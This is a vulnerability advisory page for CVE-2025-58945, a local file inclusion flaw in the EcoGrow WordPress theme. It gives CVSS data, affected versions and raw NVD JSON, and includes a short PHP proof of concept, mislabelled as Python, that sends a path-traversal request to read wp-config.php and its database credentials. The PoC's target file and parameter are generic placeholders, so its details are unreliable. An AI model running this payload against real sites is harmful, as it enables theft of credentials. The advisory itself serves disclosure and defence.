Security Vulnerability Report
中文
CVE-2025-58945 CVSS 8.1 HIGH

CVE-2025-58945

Published: 2025-12-18 08:16:02
Last Modified: 2026-04-27 20:16:22

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes EcoGrow ecogrow allows PHP Local File Inclusion.This issue affects EcoGrow: from n/a through <= 1.7.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:axiomthemes:ecogrow:*:*:*:*:*:wordpress:*:* - VULNERABLE
EcoGrow <= 1.7

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php // CVE-2025-58945 PoC - EcoGrow LFI Vulnerability // Target: EcoGrow WordPress Theme <= 1.7 // Type: Local File Inclusion $target = 'http://target-site.com'; $target_file = '/wp-content/themes/ecogrow/some-file.php'; // LFI payload - read wp-config.php $lfi_payload = '../../../../../../wp-config.php'; // Construct attack URL $attack_url = $target . $target_file . '?param=' . urlencode($lfi_payload); echo "[*] CVE-2025-58945 EcoGrow LFI PoC\n"; echo "[*] Target: {$target}\n"; echo "[*] Exploiting: {$attack_url}\n\n"; // Send request $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $attack_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && strpos($response, 'DB_NAME') !== false) { echo "[+] Success! wp-config.php contents:\n"; echo $response; } else { echo "[-] Exploitation failed or file not accessible\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-58945", "sourceIdentifier": "[email protected]", "published": "2025-12-18T08:16:02.227", "lastModified": "2026-04-27T20:16:21.567", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in axiomthemes EcoGrow ecogrow allows PHP Local File Inclusion.This issue affects EcoGrow: from n/a through <= 1.7."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:axiomthemes:ecogrow:*:*:*:*:*:wordpress:*:*", "versionEndIncluding": "1.7", "matchCriteriaId": "637BC429-76C3-4A62-832B-44172FABD9C6"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/ecogrow/vulnerability/wordpress-ecogrow-theme-1-7-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}